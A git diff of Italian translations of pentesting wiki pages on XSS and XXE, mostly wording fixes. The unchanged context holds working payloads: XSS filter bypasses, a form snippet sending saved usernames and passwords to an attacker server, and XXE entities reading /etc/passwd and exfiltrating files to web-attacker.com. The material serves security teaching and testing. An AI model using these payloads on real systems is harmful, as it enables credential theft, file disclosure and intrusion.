Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* consente di **generare variazioni dell'input** per fuzzare il backend. Per ulteriori informazioni, controlla il **github** e questo [**post**](https://0xacb.com/2022/11/21/recollapse/).

4
src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
View File

@ -374,7 +374,9 @@ version="1.0">
## **Brute-Force Detection List**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
## **References**

80
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -35,29 +35,29 @@ debugging-client-side-js.md
## Valori riflessi
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un **Reflected XSS**.
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web, potresti sfruttare un **Reflected XSS**.
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
## Contesti
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
### HTML grezzo
Se il tuo input è **riflesso sulla pagina HTML grezza** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
Se il tuo input è **riflesso sulla pagina HTML grezza**, dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
### All'interno dell'attributo dei tag HTML
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag potresti provare:
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
1. A **sfuggire dall'attributo e dal tag** (allora sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
```html
@ -94,7 +94,7 @@ js-hoisting.md
Diverse pagine web hanno endpoint che **accettano come parametro il nome della funzione da eseguire**. Un esempio comune da vedere nel mondo reale è qualcosa come: `?callback=callbackFunc`.
Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio a 'Vulnerable') e cercare nella console errori come:
Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio in 'Vulnerable') e cercare nella console errori come:
![](<../../images/image (711).png>)
@ -150,7 +150,7 @@ server-side-xss-dynamic-pdf.md
## Iniettare all'interno di HTML raw
Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML encoded** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
Per questi casi, tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
Per questi casi **tieni anche presente** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
&#xNAN;_**Nota: Un commento HTML può essere chiuso usando\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*o \*\*\*\*\*\***`--!>`\*\**_
In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usare payload come:
@ -161,7 +161,7 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Ma, se viene utilizzato il black/whitelisting di tag/attributi, sarà necessario **forzare quali tag** puoi creare.\
Ma, se viene utilizzato il black/whitelisting di tag/attributi, dovrai **forzare quali tag** puoi creare.\
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gli attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
### Forzatura di tag/eventi
@ -174,9 +174,9 @@ Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag persona
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Bypass delle Blacklist
### Blacklist Bypasses
Se viene utilizzata una qualche forma di blacklist, potresti provare a eluderla con alcuni trucchi sciocchi:
Se viene utilizzato un qualche tipo di blacklist, potresti provare a eluderla con alcuni trucchi sciocchi:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -247,9 +247,9 @@ Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire
## Iniettare all'interno del tag HTML
### All'interno del tag/uscire dal valore dell'attributo
### All'interno del tag/escaping dal valore dell'attributo
Se sei **all'interno di un tag HTML**, la prima cosa che potresti provare è **uscire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
Se sei **all'interno di un tag HTML**, la prima cosa che potresti provare è di **uscire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando alcuni payload come (_nota che in questo esempio le virgolette doppie sono usate per uscire dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
```bash
" autofocus onfocus=alert(document.domain) x="
@ -267,7 +267,7 @@ Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del
```
### All'interno dell'attributo
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso in **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
Un altro **esempio** interessante è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
**Bypass all'interno dell'evento usando la codifica HTML/URL encode**
@ -295,13 +295,13 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Bypass all'interno dell'evento utilizzando la codifica Unicode**
**Bypass dell'evento interno utilizzando la codifica Unicode**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Protocolli Speciali All'interno dell'attributo
### Protocollo speciali all'interno dell'attributo
Qui puoi utilizzare i protocolli **`javascript:`** o **`data:`** in alcuni luoghi per **eseguire codice JS arbitrario**. Alcuni richiederanno interazione dell'utente, altri no.
```javascript
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Luoghi in cui puoi iniettare questi protocolli**
**In generale**, il protocollo `javascript:` può essere **utilizzato in qualsiasi tag che accetta l'attributo `href`** e nella **maggior parte** dei tag che accettano l'**attributo `src`** (ma non `<img`)
**In generale**, il protocollo `javascript:` può essere **utilizzato in qualsiasi tag che accetta l'attributo `href`** e nella **maggior parte** dei tag che accettano l'**attributo `src`** (ma non `<img>`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -488,7 +488,7 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
```
### Template literals \`\`
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **incorporare espressioni JS** utilizzando la sintassi `${ ... }`.\
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
Questo può essere **abusato** utilizzando:
@ -739,7 +739,7 @@ top[8680439..toString(30)](1)
## **Vulnerabilità DOM**
C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\
**A causa dell'estensione della spiegazione delle** [**vulnerabilità DOM è stata spostata a questa pagina**](dom-xss.md)**:**
**A causa dell'estensione della spiegazione delle** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
@ -766,13 +766,13 @@ Forse un utente può condividere il proprio profilo con l'amministratore e se il
### Session Mirroring
Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto e affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione.
Potresti far sì che **l'amministratore attivi il tuo self XSS** e rubi i suoi cookie/sessione.
## Altri Bypass
### Unicode Normalizzato
### Unicode normalizzato
Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode** nel server (o nel lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting).
@ -783,7 +783,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
### Ruby-On-Rails bypass
A causa di **RoR mass assignment** le citazioni vengono inserite nell'HTML e poi la restrizione delle citazioni viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
Esempio di modulo ([from this report](https://hackerone.com/reports/709336)), se invii il payload:
Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -825,7 +825,7 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS con iniezione di intestazioni in una risposta 302
Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo **non è banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo è **non banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
Protocolli noti passati: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`.
@ -943,9 +943,9 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno
```
### Modelli di Sostituzione Speciali
Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`**. L'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **sfuggire a una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
### Cache di Chrome a XSS
@ -1056,7 +1056,7 @@ trigger()
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
- Più sofisticato JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- Maggiore sofistificazione di JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@ -1379,7 +1379,7 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Quando vengono inseriti dati nel campo della password, il nome utente e la password vengono inviati al server dell'attaccante, anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno ex-filtrate.
Quando vengono introdotti dati nel campo della password, il nome utente e la password vengono inviati al server dell'attaccante, anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno ex-filtrate.
### Keylogger
@ -1413,7 +1413,7 @@ window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
```
### Abusare dei Service Workers
### Abuso dei Service Workers
{{#ref}}
abusing-service-workers.md
@ -1427,9 +1427,11 @@ shadow-dom.md
### Polyglots
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Payloads XSS ciechi
### Payload XSS ciechi
Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
```markup
@ -1471,7 +1473,7 @@ Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - Access Hidden Content
### Regex - Accesso ai Contenuti Nascosti
Da [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
```javascript
@ -1492,7 +1494,9 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
```
### Brute-Force List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Abusare di altre vulnerabilità
@ -1506,7 +1510,7 @@ xss-in-markdown.md
### XSS a SSRF
Hai XSS su un **sito che utilizza caching**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
Hai XSS su un **sito che utilizza la cache**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
```python
<esi:include src="http://yoursite.com/capture" />
```

48
src/pentesting-web/xxe-xee-xml-external-entity.md
View File

@ -2,13 +2,12 @@
{{#include ../banners/hacktricks-training.md}}
## Fondamenti di XML
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML non essendo limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
- **Rappresentazione dei Dati tramite Entità**: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come `&lt;` e `&gt;`, che corrispondono a `<` e `>` per evitare conflitti con il sistema di tag di XML.
- **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi dovrebbero essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a specifici elementi figli.
- **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a elementi figli specifici.
- **Definizione del Tipo di Documento (DTD)**: I DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interni, esterni o una combinazione, guidando come i documenti sono formattati e convalidati.
- **Entità Personalizzate ed Esterne**: XML supporta la creazione di entità personalizzate all'interno di un DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni di sicurezza, in particolare nel contesto degli attacchi XML External Entity (XXE), che sfruttano il modo in cui i parser XML gestiscono le fonti di dati esterne: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Rilevamento XXE con Entità Parametriche**: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate entità parametriche XML. Queste entità consentono tecniche di rilevamento out-of-band, come l'attivazione di lookup DNS o richieste HTTP a un dominio controllato, per confermare la vulnerabilità.
@ -44,7 +43,7 @@ In questo primo caso nota che SYSTEM "_\*\*file:///\*\*etc/passwd_" funzionerà
```
![](<../images/image (86).png>)
Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (Non il caso dei laboratori di Portswigger)
Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (Non è il caso dei laboratori di Portswigger)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -90,7 +89,7 @@ Utilizzando la **tecnica precedentemente commentata** puoi far accedere il serve
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Blind" SSRF - Exfiltrare dati out-of-band
### "Blind" SSRF - Esfiltrare dati out-of-band
**In questa occasione faremo caricare al server un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base ad esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab qui**](https://portswigger.net/web-security/xxe/blind)**.**
@ -108,15 +107,15 @@ La struttura è la seguente:
I passaggi eseguiti da questo DTD includono:
1. **Definizione delle Entità Parametriche:**
- Un'entità parametrica XML, `%file`, viene creata, leggendo il contenuto del file `/etc/hostname`.
- Un'altra entità parametrica XML, `%eval`, è definita. Essa dichiara dinamicamente una nuova entità parametrica XML, `%exfiltrate`. L'entità `%exfiltrate` è impostata per effettuare una richiesta HTTP al server dell'attaccante, passando il contenuto dell'entità `%file` all'interno della stringa di query dell'URL.
- Un'entità paramétrica XML, `%file`, viene creata, leggendo il contenuto del file `/etc/hostname`.
- Un'altra entità paramétrica XML, `%eval`, è definita. Essa dichiara dinamicamente una nuova entità paramétrica XML, `%exfiltrate`. L'entità `%exfiltrate` è impostata per effettuare una richiesta HTTP al server dell'attaccante, passando il contenuto dell'entità `%file` all'interno della stringa di query dell'URL.
2. **Esecuzione delle Entità:**
- L'entità `%eval` viene utilizzata, portando all'esecuzione della dichiarazione dinamica dell'entità `%exfiltrate`.
- L'entità `%exfiltrate` viene quindi utilizzata, attivando una richiesta HTTP all'URL specificato con i contenuti del file.
L'attaccante ospita questo DTD malevolo su un server sotto il proprio controllo, tipicamente a un URL come `http://web-attacker.com/malicious.dtd`.
**Payload XXE:** Per sfruttare un'applicazione vulnerabile, l'attaccante invia un payload XXE:
**XXE Payload:** Per sfruttare un'applicazione vulnerabile, l'attaccante invia un payload XXE:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
@ -133,7 +132,7 @@ Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/pas
1. Viene definita un'entità parametro XML chiamata `file`, che contiene i contenuti del file `/etc/passwd`.
2. Viene definita un'entità parametro XML chiamata `eval`, incorporando una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
3. L'entità `eval` viene invocata, portando alla dichiarazione dinamica dell'entità `error`.
4. L'invocazione dell'entità `error` porta a un tentativo di caricare un file inesistente, producendo un messaggio di errore che include i contenuti del file `/etc/passwd` come parte del nome del file.
4. L'invocazione dell'entità `error` comporta un tentativo di caricare un file inesistente, producendo un messaggio di errore che include i contenuti del file `/etc/passwd` come parte del nome del file.
Il DTD esterno malevolo può essere invocato con il seguente XML:
```xml
@ -151,7 +150,7 @@ _**Si prega di notare che il DTD esterno ci consente di includere un'entità all
E per quanto riguarda le vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errore. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errori. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
Considera uno scenario in cui il filesystem del server contiene un file DTD in `/usr/local/app/schema.dtd`, che definisce un'entità chiamata `custom_entity`. Un attaccante può indurre un errore di parsing XML rivelando il contenuto del file `/etc/passwd` inviando un DTD ibrido come segue:
```xml
@ -189,7 +188,7 @@ I passaggi delineati sono eseguiti da questo DTD:
```
![](<../images/image (625).png>)
Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne uno valido prima**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **verificando** se qualcuno di essi esiste:
Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne prima uno valido**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **controllando** se qualcuno di essi esiste:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -202,9 +201,11 @@ Per ulteriori informazioni controlla [https://portswigger.net/web-security/xxe/b
Nel seguente fantastico repo di github puoi trovare **percorsi di DTD che possono essere presenti nel sistema**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
{{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Inoltre, se hai l'**immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per sapere come.
Inoltre, se hai **l'immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per sapere come.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -234,7 +235,7 @@ Ora, il file creato può essere caricato nell'applicazione web potenzialmente vu
### Jar: protocollo
Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), per file sia locali che remoti.
Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), soddisfacendo sia i file locali che remoti.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
@ -311,7 +312,7 @@ Poi puoi provare a decifrare l'hash usando hashcat
Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` offre una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
Per eseguire un attacco `XInclude`, deve essere dichiarato lo spazio dei nomi `XInclude` e deve essere specificato il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:
